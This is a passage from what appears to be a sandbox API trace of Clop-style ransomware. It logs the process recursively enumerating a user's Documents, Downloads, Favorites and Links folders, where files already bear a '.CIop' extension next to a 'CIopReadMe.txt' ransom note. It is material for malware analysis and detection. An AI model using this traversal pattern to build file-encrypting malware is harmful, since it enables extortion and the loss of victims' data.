out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0118.002] SetErrorMode (uMode=0x1) returned 0x1 [0118.002] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0118.002] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0118.002] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0118.002] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0118.002] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e078 [0118.002] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0118.002] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="0KK10L8Yj9PSdD5_rlI8.pptx.CIop", lpString2=".") returned 1 [0118.002] lstrlenW (lpString=".CIop") returned 5 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="6w48s.rtf.CIop", lpString2=".") returned 1 [0118.002] lstrlenW (lpString=".CIop") returned 5 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="B-2cmW.doc.CIop", lpString2=".") returned 1 [0118.002] lstrlenW (lpString=".CIop") returned 5 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.002] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="CQjd3NSx.ppt.CIop", lpString2=".") returned 1 [0118.002] lstrlenW (lpString=".CIop") returned 5 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="DYnSH7i.xls.CIop", lpString2=".") returned 1 [0118.002] lstrlenW (lpString=".CIop") returned 5 [0118.002] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.002] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2="..") returned 1 [0118.002] lstrcmpW (lpString1="mR4SZZ7.pptx.CIop", lpString2=".") returned 1 [0118.002] lstrlenW (lpString=".CIop") returned 5 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.003] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0118.003] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0118.003] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs" [0118.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*" [0118.003] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e078 [0118.003] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs") returned="sNkHGs" [0118.003] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="sNkHGs" | out: lpString1="sNkHGs") returned="sNkHGs" [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.003] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.003] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0118.003] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0118.003] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.003] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0118.003] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0118.004] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.004] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.004] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.004] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.004] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.004] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.004] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.004] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.004] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.004] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0118.004] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0118.004] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0118.004] SetErrorMode (uMode=0x1) returned 0x1 [0118.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0118.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0118.004] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" [0118.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0118.004] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.004] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0118.004] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0118.004] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.004] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.004] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1 [0118.005] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1 [0118.005] lstrlenW (lpString=".exe") returned 4 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.005] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.005] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.005] lstrlenW (lpString="desktop.ini") returned 11 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.005] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1 [0118.005] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1 [0118.005] lstrlenW (lpString=".exe") returned 4 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.005] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.005] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.005] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads" [0118.005] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*" [0118.005] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.005] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="Downloads" [0118.005] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.005] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.005] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.005] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.005] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.005] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.005] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0118.005] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0118.006] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.006] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.006] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0118.006] SetErrorMode (uMode=0x1) returned 0x1 [0118.006] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0118.006] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0118.006] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0118.006] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0118.006] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.006] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0118.006] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0118.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.006] lstrcmpW (lpString1="Bing.url.CIop", lpString2="..") returned 1 [0118.006] lstrcmpW (lpString1="Bing.url.CIop", lpString2=".") returned 1 [0118.006] lstrlenW (lpString=".CIop") returned 5 [0118.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.006] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.006] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.006] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.006] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.006] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.006] lstrlenW (lpString="desktop.ini") returned 11 [0118.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.006] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.006] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.006] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.006] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0118.006] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*" [0118.006] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.006] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="Favorites" [0118.007] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0118.007] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.007] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.007] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.007] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.007] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.007] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.007] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0118.007] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0118.007] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0118.007] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0118.007] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0118.007] SetErrorMode (uMode=0x1) returned 0x1 [0118.007] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0118.007] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0118.007] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0118.007] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0118.007] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0118.007] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0118.007] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0118.007] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.007] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.007] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.007] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.007] lstrlenW (lpString="desktop.ini") returned 11 [0118.007] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.007] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.007] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.007] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0118.007] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0118.007] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0118.008] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0118.008] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0118.008] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.008] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.008] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.008] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.008] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.008] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.008] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.008] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.008] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.008] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.008] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0118.008] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0118.008] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0118.008] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0118.008] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0118.008] SetErrorMode (uMode=0x1) returned 0x1 [0118.008] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0118.008] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0118.008] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0118.008] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") 